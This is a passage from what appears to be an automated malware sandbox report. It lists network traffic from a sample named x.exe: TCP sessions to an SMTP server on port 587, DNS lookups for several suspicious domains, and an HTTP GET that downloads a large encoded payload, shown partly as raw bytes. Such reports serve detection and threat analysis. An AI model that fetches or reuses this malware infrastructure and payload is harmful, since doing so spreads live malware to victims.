Nov 12, 2024 15:57:54.597986937 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.598033905 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.598135948 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.598149061 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.598195076 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.598285913 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.598330975 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.600325108 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.600372076 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.600450993 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.600469112 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.600483894 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.600519896 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.600543976 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.600594997 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.600605011 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.600614071 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.600662947 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.600682974 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.603064060 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.603128910 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.603383064 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.603394032 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.603404999 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.603465080 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:57:54.605204105 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605416059 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605428934 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605550051 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605560064 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605571985 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605608940 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605621099 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605663061 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605722904 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605731964 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605741978 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605751038 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605761051 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605771065 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.605779886 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.607978106 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.608118057 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.608128071 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.608167887 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.608254910 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.609932899 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.610012054 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.610022068 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.610029936 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.610044956 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.610055923 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.610099077 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.610109091 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.610116959 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:54.610126972 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:55.115905046 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:57:55.189371109 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:22.777188063 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:22.782727003 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:23.022133112 CET	587	49998	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:23.022981882 CET	49998	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:23.029316902 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:23.034291983 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:23.034595966 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:23.840064049 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:23.840249062 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:23.845065117 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.083244085 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.083436966 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:24.091084957 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.324368954 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.324960947 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:24.329741955 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.571290016 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.571317911 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.571332932 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.571343899 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.571377993 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:24.571407080 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:24.572948933 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:24.577811003 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.813679934 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:24.827250957 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:24.832087994 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:25.068413019 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:25.069725990 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:25.076510906 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:25.311214924 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:25.311633110 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:25.316464901 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:25.555753946 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:25.556008101 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:25.560842037 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:25.795202017 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:25.798254013 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:25.803210020 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.041300058 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.041557074 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.046367884 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.288368940 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.288707972 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.288757086 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.288784027 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.288834095 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.290261030 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.293932915 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.293943882 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.293957949 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.293967009 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.293986082 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.294013023 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.295187950 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.295243979 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.295248032 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.295253992 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.295262098 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.295310974 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.295331001 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.295340061 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.295383930 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.295411110 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.295418978 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.295428991 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.295444012 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.295453072 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.295475006 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.295490026 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.298985004 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.299048901 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.299137115 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.299189091 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.300234079 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.300287962 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.301101923 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.301213980 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.304075956 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.304140091 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.304991961 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.305053949 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.305208921 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.305257082 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.306191921 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306257963 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:58:26.306418896 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306473970 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306483984 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306509972 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306591988 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306602001 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306606054 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306619883 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306628942 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306653976 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306714058 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306724072 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306732893 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.306746006 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.309199095 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310056925 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310079098 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310089111 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310126066 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310142994 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310353041 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310363054 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310898066 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310946941 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310956955 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.310983896 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.311362982 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.311408043 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.794536114 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:58:26.892441988 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:59:12.397200108 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:59:12.402515888 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:59:12.642577887 CET	587	49999	51.195.88.199	192.168.2.6
Nov 12, 2024 15:59:12.643079042 CET	49999	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:59:12.643441916 CET	50001	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:59:12.648628950 CET	587	50001	51.195.88.199	192.168.2.6
Nov 12, 2024 15:59:12.648725986 CET	50001	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:59:13.484740019 CET	587	50001	51.195.88.199	192.168.2.6
Nov 12, 2024 15:59:13.484862089 CET	50001	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:59:13.489654064 CET	587	50001	51.195.88.199	192.168.2.6
Nov 12, 2024 15:59:14.074748993 CET	587	50001	51.195.88.199	192.168.2.6
Nov 12, 2024 15:59:14.126910925 CET	50001	587	192.168.2.6	51.195.88.199

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 15:55:01.180349112 CET	55096	53	192.168.2.6	1.1.1.1
Nov 12, 2024 15:55:01.427781105 CET	53	55096	1.1.1.1	192.168.2.6
Nov 12, 2024 15:55:09.795057058 CET	51567	53	192.168.2.6	1.1.1.1
Nov 12, 2024 15:55:09.802222967 CET	53	51567	1.1.1.1	192.168.2.6
Nov 12, 2024 15:55:12.558748007 CET	53716	53	192.168.2.6	1.1.1.1
Nov 12, 2024 15:55:12.914112091 CET	53	53716	1.1.1.1	192.168.2.6
Nov 12, 2024 15:55:31.573256016 CET	64634	53	192.168.2.6	1.1.1.1
Nov 12, 2024 15:55:31.581523895 CET	53	64634	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 15:55:01.180349112 CET	192.168.2.6	1.1.1.1	0x7f0c	Standard query (0)	gxe0.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:55:09.795057058 CET	192.168.2.6	1.1.1.1	0x1891	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:55:12.558748007 CET	192.168.2.6	1.1.1.1	0xefb2	Standard query (0)	s82.gocheapweb.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:55:31.573256016 CET	192.168.2.6	1.1.1.1	0xd3cf	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 15:55:01.427781105 CET	1.1.1.1	192.168.2.6	0x7f0c	No error (0)	gxe0.com	198.252.105.91	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:55:09.802222967 CET	1.1.1.1	192.168.2.6	0x1891	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:55:09.802222967 CET	1.1.1.1	192.168.2.6	0x1891	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:55:09.802222967 CET	1.1.1.1	192.168.2.6	0x1891	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:55:12.914112091 CET	1.1.1.1	192.168.2.6	0xefb2	No error (0)	s82.gocheapweb.com	51.195.88.199	A (IP address)	IN (0x0001)	false
Nov 12, 2024 15:55:31.581523895 CET	1.1.1.1	192.168.2.6	0xd3cf	No error (0)	pywolwnvd.biz	54.244.188.177	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

gxe0.com

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	198.252.105.91	443	6332	C:\Users\user\Desktop\x.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:55:02 UTC	161	OUT	GET /yak/233_Wisrysxlfss HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: gxe0.com
2024-11-12 14:55:02 UTC	365	IN	HTTP/1.1 200 OK Connection: close last-modified: Mon, 28 Oct 2024 23:14:08 GMT accept-ranges: bytes content-length: 2562520 date: Tue, 12 Nov 2024 14:55:02 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 51 48 43 59 6b 48 42 41 6e 47 69 4d 6e 46 78 4d 56 4a 52 38 51 44 68 73 67 4a 53 49 67 48 78 49 58 44 68 55 61 49 42 59 61 4a 68 38 52 48 78 49 66 4a 68 77 5a 4a 43 49 6c 44 69 4d 6b 4a 79 4d 66 48 68 6b 61 4a 78 51 51 44 68 41 63 45 53 41 6e 4a 52 30 6c 49 52 51 50 46 69 41 51 4a 52 49 6e 4a 79 49 69 48 53 41 69 49 79 49 52 4a 52 59 63 4a 68 67 6d 48 51 38 52 46 78 49 63 48 42 63 6c 44 78 51 65 44 67 38 58 48 78 77 4f 49 69 45 65 48 52 4d 6a 4a 78 32 6d 72 71 56 5a 49 36 65 78 53 77 51 57 49 42 38 6d 49 43 55 5a 45 79 41 67 70 71 36 6c 57 53 4f 6e 73 55 75 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 Data Ascii: pq6lWSOnsUsQHCYkHBAnGiMnFxMVJR8QDhsgJSIgHxIXDhUaIBYaJh8RHxIfJhwZJCIlDiMkJyMfHhkaJxQQDhAcESAnJR0lIRQPFiAQJRInJyIiHSAiIyIRJRYcJhgmHQ8RFxIcHBclDxQeDg8XHxwOIiEeHRMjJx2mrqVZI6exSwQWIB8mICUZEyAgpq6lWSOnsUupnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbe
2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 Data Ascii: q6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y
2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 Data Ascii: s7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a
2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f Data Ascii: n7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqO
2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d Data Ascii: qKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprm
2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 Data Ascii: sLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe
